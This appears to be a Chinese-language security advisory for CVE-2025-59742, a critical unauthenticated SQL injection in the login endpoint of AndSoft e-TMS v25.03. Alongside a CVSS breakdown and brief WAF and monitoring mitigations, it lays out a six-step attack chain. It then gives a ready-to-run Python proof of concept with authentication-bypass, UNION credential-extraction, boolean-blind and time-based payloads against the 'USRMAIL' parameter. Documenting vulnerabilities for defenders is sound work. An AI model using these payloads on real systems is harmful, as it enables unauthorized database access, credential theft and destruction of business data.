CVE-2025-59742：AndSoft e-TMS SQL注入漏洞

漏洞信息

漏洞编号

CVE-2025-59742

漏洞类型

SQL注入

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

AndSoft e-TMS

漏洞概述

CVE-2025-59742是AndSoft公司开发的e-TMS（Electronic Transport Management System，电子运输管理系统）v25.03版本中存在的一个高危SQL注入漏洞。该漏洞于2025年10月2日由西班牙国家网络安全研究所（INCIBE）披露，CVSS评分为9.8，属于严重级别。e-TMS是一款广泛应用于物流和运输行业的业务管理系统，用于管理运输订单、车辆调度、货物跟踪等核心业务。

该漏洞位于e-TMS系统的登录模块中，具体路径为'/inc/login/TRACK_REQUESTFRMSQL.ASP'，涉及参数名为'USRMAIL'（用户邮箱）。由于该参数在处理用户输入时未进行充分的过滤和参数化处理，攻击者可以通过构造恶意的SQL语句并通过POST请求提交，绕过身份验证机制，直接对后端数据库执行任意SQL操作。

由于该漏洞的攻击向量为网络（AV:N）、攻击复杂度低（AC:L）、无需权限（PR:N）且无需用户交互（UI:N），同时对机密性、完整性和可用性均产生高影响（C:H/I:H/A:H），使得该漏洞极易被远程攻击者利用。攻击者无需任何凭据即可通过网络对目标系统发起攻击，可能导致数据库中存储的敏感运输信息、客户数据、财务记录等被窃取、篡改或删除，对企业运营和数据安全构成严重威胁。

技术细节

该漏洞的核心技术原理在于AndSoft e-TMS v25.03在处理登录请求时，对'USRMAIL'参数未采用参数化查询或预编译语句，而是直接将用户输入拼接到SQL查询语句中执行，形成了典型的SQL注入漏洞。

具体而言，当用户通过POST请求向'/inc/login/TRACK_REQUESTFRMSQL.ASP'端点提交包含'USRMAIL'字段的数据时，服务器端会将该参数值直接嵌入到后端SQL查询语句中。攻击者可以利用经典的SQL注入技术，如使用单引号（'）闭合原始SQL语句的字符串边界，然后通过UNION SELECT语句扩展查询结果集，或使用布尔盲注、时间盲注等技术逐位提取数据库内容。

由于漏洞存在于登录认证流程中，攻击者甚至无需有效凭据即可发起攻击。攻击者可以通过注入如' OR '1'='1' -- 等payload绕过认证检查，或者利用堆叠查询（stacked queries）执行INSERT、UPDATE、DELETE等数据修改操作，实现对数据库的完全控制。该漏洞支持完整的CRUD操作（创建、读取、更新、删除），意味着攻击者不仅可以窃取数据，还可以篡改运输记录、删除关键业务数据，甚至可能通过数据库特性（如MySQL的INTO OUTFILE、xp_cmdshell等）进一步升级攻击，实现远程代码执行。

攻击链分析

STEP 1

步骤1：目标侦察

攻击者通过信息收集确定目标系统运行AndSoft e-TMS v25.03，定位登录端点'/inc/login/TRACK_REQUESTFRMSQL.ASP'

STEP 2

步骤2：漏洞探测

攻击者向目标端点发送包含特殊字符（如单引号）的POST请求，检测是否存在SQL注入漏洞，通过错误信息或响应差异确认漏洞存在

STEP 3

步骤3：注入Payload构造

攻击者构造恶意SQL注入payload，利用'USRMAIL'参数进行UNION查询、布尔盲注或时间盲注攻击

STEP 4

步骤4：数据提取

通过SQL注入逐步提取数据库中的敏感信息，包括用户凭据、客户数据、运输记录、财务信息等

STEP 5

步骤5：权限提升与持久化

攻击者利用数据库权限创建管理员账户、修改系统配置或植入后门，实现对系统的持久化控制

STEP 6

步骤6：数据破坏或勒索

攻击者可执行DELETE或DROP操作删除关键业务数据，或加密数据进行勒索攻击

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2025-59742 - AndSoft e-TMS SQL Injection PoC
# Vulnerability: SQL Injection via 'USRMAIL' parameter
# Endpoint: /inc/login/TRACK_REQUESTFRMSQL.ASP

import requests

target_url = "http://target-host/inc/login/TRACK_REQUESTFRMSQL.ASP"

# Payload 1: Authentication bypass
payload_bypass = {
    "USRMAIL": "' OR '1'='1' -- ",
    "USRPASS": "any"
}

# Payload 2: UNION-based SQL injection to extract data
payload_union = {
    "USRMAIL": "' UNION SELECT NULL,username,password,NULL FROM users-- ",
    "USRPASS": "any"
}

# Payload 3: Boolean-based blind SQL injection
payload_blind = {
    "USRMAIL": "' AND 1=1-- ",
    "USRPASS": "any"
}

# Payload 4: Time-based blind SQL injection
payload_time = {
    "USRMAIL": "'; WAITFOR DELAY '0:0:5'-- ",
    "USRPASS": "any"
}

# Send exploit request
response = requests.post(target_url, data=payload_bypass)
print(f"Status Code: {response.status_code}")
print(f"Response: {response.text[:500]}")

影响范围

AndSoft e-TMS v25.03

防御指南

临时缓解措施

在等待官方补丁发布期间，建议采取以下临时缓解措施：1）通过Web应用防火墙（WAF）部署SQL注入防护规则，拦截针对'/inc/login/TRACK_REQUESTFRMSQL.ASP'端点的恶意请求；2）在网络层面限制e-TMS系统的访问，仅允许可信IP地址访问管理端口；3）监控数据库日志，检测异常的SQL查询模式，特别是包含UNION、OR、WAITFOR等关键字的请求；4）对数据库中的敏感数据进行加密存储，降低数据泄露风险；5）定期备份数据库，确保在遭受攻击时能够快速恢复业务。